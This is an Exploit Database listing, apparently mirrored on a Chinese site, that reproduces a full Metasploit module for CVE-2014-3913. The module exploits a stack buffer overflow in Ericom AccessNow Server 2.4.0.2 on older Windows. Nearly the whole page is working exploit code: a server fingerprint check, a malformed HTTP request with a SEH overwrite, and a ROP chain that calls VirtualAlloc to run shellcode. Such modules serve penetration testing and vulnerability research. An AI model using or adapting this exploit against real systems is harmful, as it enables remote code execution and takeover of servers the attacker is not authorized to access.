Ericom AccessNow Server – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2014-06-19
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/33817/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Ericom AccessNow Server Buffer Overflow',
  'Description'=> %q{
  This module exploits a stack based buffer overflow in Ericom AccessNow Server. The
  vulnerability is due to an insecure usage of vsprintf with user controlled data,
  which can be triggered with a malformed HTTP request. This module has been tested
  successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003
  Server SP2.
  },
  'Author' =>
  [
  'Unknown', # Vulnerability Discovery
  'juan vazquez', # Metasploit Module
  ],
  'References' =>
  [
  ['ZDI', '14-160'],
  ['CVE', '2014-3913'],
  ['BID', '67777'],
  ['URL','http://www.ericom.com/security-ERM-2014-610.asp']
  ],
  'Privileged' => true,
  'Platform' => 'win',
  'Arch' => ARCH_X86,
  'Payload'=>
  {
  'Space'=> 4096,
  'BadChars' => "\x00\x0d\x0a",
  'DisableNops' => true,
  'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  },
  'Targets'=>
  [
  [ 'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]',
  {
  'RopOffset' => 62,
  'Offset' => 30668,
  'Ret' => 0x104da1e5 # 0x104da1e5 {pivot 1200 / 0x4b0} # ADD ESP,4B0 # RETN # From AccessNowAccelerator32.dll
  }
  ]
  ],
  'DisclosureDate' => 'Jun 2 2014',
  'DefaultTarget'=> 0))
  
  register_options([Opt::RPORT(8080)], self.class)
  end
  
  
  def check
  res = send_request_cgi({
  'uri' => '/AccessNow/start.html'
  })
  
  unless res && res.code == 200 && res.headers['Server']
  return Exploit::CheckCode::Safe
  end
  
  if res.headers['Server'] =~ /Ericom AccessNow Server/
  return Exploit::CheckCode::Appears # Ericom AccessNow 2.4
  elsif res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /Ericom Access Server/
  return Exploit::CheckCode::Detected # Ericom AccessNow 3
  end
  
  Exploit::CheckCode::Unknown
  end
  
  def exploit_uri
  uri = "#{rand_text_alpha(1)} " # To ensure a "malformed request" error message
  uri << rand_text(target['RopOffset'])
  uri << create_rop_chain
  uri << payload.encoded
  uri << rand_text(target['Offset'] - uri.length)
  uri << rand_text(4) # nseh
  uri << [target.ret].pack("V") # seh
  
  uri
  end
  
  def exploit
  print_status("#{peer} - Sending malformed request...")
  send_request_raw({
  'method'=> 'GET',
  'uri' => exploit_uri,
  'encode'=> false
  }, 1)
  end
  
  def create_rop_chain
  # rop chain generated with mona.py - www.corelan.be
  rop_gadgets =
  [
  0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3
  0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3
  0x10518866, # POP EAX # RETN [AccessNowAccelerator32.dll]
  0x105c6294, # ptr to &VirtualAlloc() [IAT AccessNowAccelerator32.dll]
  0x101f292b, # MOV EAX,DWORD PTR DS:[EAX] # RETN [AccessNowAccelerator32.dll]
  0x101017e6, # XCHG EAX,ESI # RETN [AccessNowAccelerator32.dll]
  0x103ba89c, # POP EBP # RETN [AccessNowAccelerator32.dll]
  0x103eed74, # & jmp esp [AccessNowAccelerator32.dll]
  0x1055dac2, # POP EAX # RETN [AccessNowAccelerator32.dll]
  0xffffffff, # Value to negate, will become 0x00000001
  0x1052f511, # NEG EAX # RETN [AccessNowAccelerator32.dll]
  0x10065f69, # XCHG EAX,EBX # RETN [AccessNowAccelerator32.dll]
  0x10074429, # POP EAX # RETN [AccessNowAccelerator32.dll]
  0xfbdbcb75, # put delta into eax (-> put 0x00001000 into edx)
  0x10541810, # ADD EAX,424448B # RETN [AccessNowAccelerator32.dll]
  0x1038e58a, # XCHG EAX,EDX # RETN [AccessNowAccelerator32.dll]
  0x1055d604, # POP EAX # RETN [AccessNowAccelerator32.dll]
  0xffffffc0, # Value to negate, will become 0x00000040
  0x10528db3, # NEG EAX # RETN [AccessNowAccelerator32.dll]
  0x1057555d, # XCHG EAX,ECX # RETN [AccessNowAccelerator32.dll]
  0x1045fd24, # POP EDI # RETN [AccessNowAccelerator32.dll]
  0x10374022, # RETN (ROP NOP) [AccessNowAccelerator32.dll]
  0x101f25d4, # POP EAX # RETN [AccessNowAccelerator32.dll]
  0x90909090, # nop
  0x1052cfce# PUSHAD # RETN [AccessNowAccelerator32.dll]
  ].pack("V*")
  
  rop_gadgets
  end
  
  end